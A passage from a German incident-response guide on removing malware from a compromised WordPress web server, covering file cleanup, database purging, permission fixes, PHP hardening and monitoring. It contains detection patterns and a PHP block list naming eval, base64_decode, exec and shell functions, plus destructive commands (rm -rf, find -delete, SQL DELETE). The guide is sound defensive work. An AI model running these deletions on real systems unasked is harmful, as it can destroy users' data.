grep ":" /var/log/malwarescan.log | cut -d: -f1 | sort -u > /tmp/infected_files.txt

# Anzahl betroffener Dateien
wc -l /tmp/infected_files.txt

Verdächtige Dateien genauer prüfen

# Datei-Details anzeigen
ls -lah /var/www/html/verdaechtige_datei.php

# Letzte Änderungen anzeigen
stat /var/www/html/verdaechtige_datei.php

# Dateiinhalt überprüfen
less /var/www/html/verdaechtige_datei.php

3. Malware entfernen

Methode A: Einzelne Dateien bereinigen

# Liste aller infizierten Dateien
while read file; do
    echo "Prüfe: $file"
    # Backup der infizierten Datei
    cp "$file" "$file.infected_backup"
    # Datei zur manuellen Prüfung markieren
done < /tmp/infected_files.txt

Methode B: Bekannte Malware-Dateien löschen

# Typische Malware-Dateien entfernen
find /var/www/ -type f -name "id[0-9]*.php" -delete
find /var/www/ -type f -name "moban.html" -delete
find /var/www/ -type f -name "map.log" -delete
find /var/www/ -type f -name "idlogs.txt" -delete

# Malware-Verzeichnisse entfernen
rm -rf /var/www/*/sitetarget/

Methode C: .htaccess bereinigen

# Backup erstellen
cp /var/www/html/.htaccess /var/www/html/.htaccess.backup

# Verdächtige RewriteRules entfernen
sed -i '/RewriteRule.*index\.php?id=/d' /var/www/html/.htaccess
sed -i '/RewriteRule.*?cat=/d' /var/www/html/.htaccess

# Oder komplett durch saubere Version ersetzen
cat > /var/www/html/.htaccess << 'EOF'
<IfModule mod_rewrite.c>
    RewriteEngine On
    RewriteBase /
    RewriteRule ^index\.php$ - [L]
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteRule . /index.php [L]
</IfModule>
EOF

Methode D: Komplette Neuinstallation (empfohlen für CMS)

# Beispiel für WordPress
# 1. Datenbank-Backup (bereits erledigt)
# 2. wp-content sichern (Themes, Plugins, Uploads)
cp -r /var/www/html/wp-content /backup/wp-content_clean

# 3. WordPress-Core neu herunterladen
cd /tmp
wget https://wordpress.org/latest.tar.gz
tar -xzf latest.tar.gz

# 4. Alte Installation entfernen (außer wp-content und wp-config.php)
cd /var/www/html
rm -rf wp-admin wp-includes *.php

# 5. Neue Dateien kopieren
cp -r /tmp/wordpress/* /var/www/html/

# 6. wp-content wiederherstellen (vorher prüfen!)
# wp-content manuell auf Malware prüfen!

4. Datenbank bereinigen

Nach Backdoor-Nutzern suchen

-- WordPress Beispiel
SELECT * FROM wp_users WHERE user_login NOT IN ('admin', 'bekannter_nutzer');

-- Verdächtige Nutzer löschen
DELETE FROM wp_users WHERE user_login = 'verdaechtiger_name';

Nach injizierten Inhalten suchen

-- Nach base64-encodiertem Code suchen
SELECT * FROM wp_posts WHERE post_content LIKE '%base64_decode%';
SELECT * FROM wp_options WHERE option_value LIKE '%eval(%';

-- Nach verdächtigen Skripten suchen
SELECT * FROM wp_posts WHERE post_content LIKE '%<script%';

Optionen bereinigen

-- Verdächtige wp_options entfernen
DELETE FROM wp_options WHERE option_name LIKE '%malware%';
DELETE FROM wp_options WHERE option_name LIKE '%backdoor%';

5. Berechtigungen korrigieren

# Besitzer setzen
sudo chown -R www-data:www-data /var/www/html/

# Verzeichnis-Berechtigungen
find /var/www/html/ -type d -exec chmod 755 {} \;

# Datei-Berechtigungen
find /var/www/html/ -type f -exec chmod 644 {} \;

# Keine Schreibrechte für Webserver auf Core-Dateien
chmod 444 /var/www/html/wp-config.php
chmod 444 /var/www/html/.htaccess

6. Sicherheit verbessern

PHP-Sicherheit erhöhen

# /etc/php/8.1/apache2/php.ini bearbeiten
sudo nano /etc/php/8.1/apache2/php.ini

Folgende Einstellungen ändern:

expose_php = Off
display_errors = Off
log_errors = On
allow_url_fopen = Off
allow_url_include = Off
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

Web Application Firewall installieren

# ModSecurity installieren (Apache)
sudo apt install libapache2-mod-security2
sudo a2enmod security2

Fail2Ban konfigurieren

# Fail2Ban installieren
sudo apt install fail2ban

# Konfiguration für WordPress
sudo nano /etc/fail2ban/jail.local
[wordpress-auth]
enabled = true
port = http,https
filter = wordpress-auth
logpath = /var/log/apache2/access.log
maxretry = 3
bantime = 3600

7. Monitoring einrichten

Datei-Integritätsprüfung mit AIDE

# AIDE installieren
sudo apt install aide

# Datenbank initialisieren
sudo aideinit

# Regelmäßige Prüfung (Cron)
echo "0 2 * * * /usr/bin/aide --check" | sudo tee -a /etc/crontab

Automatischer Malware-Scan

# Täglichen Scan einrichten
sudo nano /etc/cron.daily/malware_scan
#!/bin/bash
LOGFILE="/var/log/malwarescan_$(date +%Y%m%d).log"

echo "[$(date)] Malware-Scan gestartet" > "$LOGFILE"

find /var/www/ -type f \( -name "*.php" -o -name "*.inc" \) -mtime -1 \
  -exec grep -l "eval\|base64_decode\|exec\|system" {} \; >> "$LOGFILE"

# Bei Funden: Admin benachrichtigen
if [ $(wc -l < "$LOGFILE") -gt 1 ]; then
    mail -s "Malware-Alarm auf $(hostname)" admin@example.com < "$LOGFILE"
fi
# Ausführbar machen
sudo chmod +x /etc/cron.daily/malware_scan

8. Passwörter ändern

Alle Zugänge erneuern

# System-Passwörter
sudo passwd root
sudo passwd www-data

# SSH-Keys neu generieren
ssh-keygen -t ed25519 -C "neu@example.com"

# Datenbank-Passwörter
mysql -u root -p
ALTER USER 'wordpress_user'@'localhost' IDENTIFIED BY 'NEUES_SICHERES_PASSWORT';
FLUSH PRIVILEGES;

CMS-Admin-Passwörter

  • WordPress: Über wp-admin oder wp-cli
  • Drupal: drush user:password admin "neues_passwort"
  • Joomla: Über Backend oder Datenbank

9. Neustart und Überprüfung

# Dienste neu starten
sudo systemctl start apache2
sudo systemctl start mysql
sudo systemctl start php-fpm

# Logs überwachen
sudo tail -f /var/log/apache2/error.log
sudo tail -f /var/log/malwarescan.log

# Netzwerkverbindungen prüfen
sudo netstat -tupn | grep ESTABLISHED

# Ausgehende Verbindungen überwachen
sudo tcpdump -i any -n 'dst port 80 or dst port 443'

10. Langfristige Maßnahmen

Checkliste

  • ✅ Regelmäßige Updates (täglich/wöchentlich)
  • ✅ Backups (täglich automatisiert)
  • ✅ Monitoring aktiv
  • ✅ Firewall konfiguriert
  • ✅ SSH nur mit Key-Authentifizierung
  • ✅ Unnötige Dienste deaktiviert
  • ✅ Sicherheits-Plugins installiert
  • ✅ Zwei-Faktor-Authentifizierung aktiviert

WordPress spezifisch

# Automatische Updates aktivieren
wp config set WP_AUTO_UPDATE_CORE true

Dokumentation

# Vorfallsbericht erstellen
cat > /root/incident_report_$(date +%Y%m%d).txt << EOF
Datum: $(date)
Betroffene Dateien: $(wc -l /tmp/infected_files.txt)
Gelöschte Malware: [Liste]
Geänderte Passwörter: Alle
Durchgeführte Maßnahmen: [Details]
EOF

Zusammenfassung kritischer Befehle

# Komplette Bereinigung (Übersicht)
# 1. Backup
tar -czf /backup/pre_cleanup_$(date +%Y%m%d).tar.gz /var/www/

# 2. Malware-Dateien finden
find /var/www/ -name "id[0-9]*.php" -o -name "moban.html" -o -name "map.log"

# 3. Löschen
find /var/www/ -name "id[0-9]*.php" -delete
rm -rf /var/www/*/sitetarget/

# 4. .htaccess bereinigen
cp /var/www/html/.htaccess /var/www/html/.htaccess.backup
sed -i '/RewriteRule.*index\.php?id=/d' /var/www/html/.htaccess

# 5. Berechtigungen
chown -R www-data:www-data /var/www/html/
find /var/www/html/ -type f -exec chmod 644 {} \;

# 6. Passwörter ändern (siehe oben)

# 7. Monitoring aktivieren (siehe oben)

Support und weitere Hilfe

Bei schweren Infektionen:

  • Professionelle Sicherheitsfirma beauftragen
  • Server-Provider kontaktieren
  • Bei Datenverlust: Forensische Analyse erwägen
  • Rechtliche Konsequenzen prüfen (Datenschutz, Meldepflicht)

Wichtig: Nach einer Malware-Infektion sollte das komplette System als kompromittiert betrachtet werden. Im Zweifelsfall ist eine komplette Neuinstallation die sicherste Lösung.